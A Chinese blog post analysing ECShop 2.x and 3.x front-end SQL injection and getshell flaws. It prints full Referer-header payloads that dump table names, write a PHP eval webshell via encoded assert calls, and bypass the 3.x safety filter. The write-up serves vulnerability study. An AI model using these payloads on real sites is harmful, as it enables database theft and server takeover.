關於ECShop前臺注入和getshell漏洞的一些思考
最近爆出的ECShop的兩個漏洞很火,本篇文章就網路上爆出的payload進行分析,並記錄其中自己的一些思考,具體的漏洞不會詳細分析,因為這類分析文章已經有很多了,如果你想了解,可以看結尾處的相關文章。
ECShop2.x
我們先來看網路上最早爆出來 注入的payload :
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
這個payload還原回去,對應的SQL語句如下:
然而這種payload有點雞肋,因為在版本稍微高一點的mysql中, procedure analyse 語句中不能再跟 select 語句。看 P牛 轉載的 ofollow,noindex">這篇 文章中,mysql版本為 5.5.41-0ubuntu0.14.04.1 ,是可以跟 select 語句的:
而我用 phpstudy 中mysql版本為 5.5.53 ,使用該語句卻爆語法錯誤:
所以猜測應該是和版本有關,或者說 procedure analyse 語句還有其他的注入寫法,知道的師傅還請告訴我:)
既然這種 payload 不能爆出表名、列名,我們就要換個思路。仔細觀察 ECShop 存在注入處的原始碼,實際上可控制的拼接引數有兩個,分別是: $arr[‘id’] 和 $arr[‘num’] ,所以我們大可在 $arr[‘id’] 處注入 payload (這裡直接用 # 號),直接註釋掉後面的 ORDER BY 語句。
所以我構造的 payload 如下,可以成功爆出表名和列名:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:3:"669";s:2:"id";s:133:"1' and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#";}
當然,同時利用 $arr[‘id’] 和 $arr[‘num’] 兩個引數,引入 /\ / 將 ORDER BY** 語句註釋掉也是可以的:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:2:"id";s:4:"' /*";s:3:"num";s:132:"*/ and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)";}
再來看 命令執行的payload :
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
當中的16進位制對應字串如下:
{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx
這個命令執行的關鍵點,還是利用了之前的注入點,同樣引入了 /\ / 將 ORDER BY 語句給註釋掉。當中,payload會經過 includes/cls_template.php** 檔案的這條語句:
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
這裡的 preg_replace 使用了危險的 /e 模式,而第二個引數中的 \1 實際表示的是下圖綠色部分字串:
對於正則中的 \1 不熟悉的話,可以參考這篇 文章。之後程式的流程就如下呼叫:
我們可以思考一下這處的命令執行,能不能像前面一樣,只利用 $arr[‘id’] 位置(即引入單個 # 號)?實際上是不行的,必須兩個可控變數同時配合利用,才能完成攻擊。因為在 includes/lib_insert.php 檔案中有一個判斷,如果資料庫查詢出的 position_id 和使用者傳入的 id 相同,才會執行 fetch 函式,繼而進入 includes/cls_template.php 檔案的 _eval 方法,達到程式碼執行的目的。
我們試著使用前面我構造的 payload (只利用 $arr[‘id’] 引入單個 # 號),此時 $arr[‘id’] 對應下圖黃框部分,而 $row[‘position_id’] 對應紅框部分,要讓這兩個地方相等,根本不可能。
仔細觀察,會發現 $row[‘position_id’] 和 $arr[‘id’] 之間使用的是弱比較,那我們是否能利用PHP弱比較的特性繞過呢?實際上還是不行,因為 $row[‘position_id’] 是從資料庫中查詢出來的,其值型別為字串,所以無法相等。
最終payload傳到 _eval 函式中,成功執行程式碼:
ECShop3.x
在ECShop3.x版本中,添加了一個 includes/safety.php 檔案,專門用於消除有害資料,但是漏洞依舊存在,我們只需繞過過濾函式即可。該檔案程式碼如下:
用我們之前的payload,會觸發過濾SQL注入的正則,具體匹配到的子項如下的 $ttt 變數:
主要這個正則會匹配到 set 、 concat 、 information_schema. 、 select from 語句等,暫時沒有找到可繞過的SQL語句。
不過命令執行還是可以繞過的,因為我們之前的payload進過編碼,這樣就繞過了正則匹配。現在唯一能匹配到的就是 union select 語句,我們可以同時利用 $arr[‘id’] 和 $arr[‘num’] 兩個引數,將 union 和 select 分開傳遞即可繞過正則檢測:
但是這裡還會匹配到 select from 語句,這裡沒有繞過,所以爆不了表名列名。
3.x版本除了多了這處正則, includes/cls_template.php 檔案中的 fetch_str 方法結尾處也不一樣了,多了一個 if 結構,滿足條件才能繼續命令執行。
按照預設的資料傳遞流程, version_compare 函式預設是存在的,所以要想進入 if 語句,必須讓後面的條件為真。後面的條件要求我們PHP的版本需要小於 5.3.0 才會進入該 if 語句。在實際測試時,我在 PHP5.2.17 版本下利用如下payload確實可以成功寫入webshell,但是PHP版本大於等於 5.3.0 就無法寫入webshell。
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:286:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:9:"' union/*";}45ea207d7a2b68c49582d2d22adf953aadsa
實際上ECShop在3.6的版本中已經修復了該漏洞,而這篇 文章中所說的3.6.x也存在,我看了他的測試程式碼,發現他把原先ECShop中的修復程式碼給註釋掉了,這樣當然可以利用漏洞了!標題有點誤導性。
本文分析到此結束,文中若有不當,還望大家斧正,若有繞過姿勢願意分享,也可以聯絡我。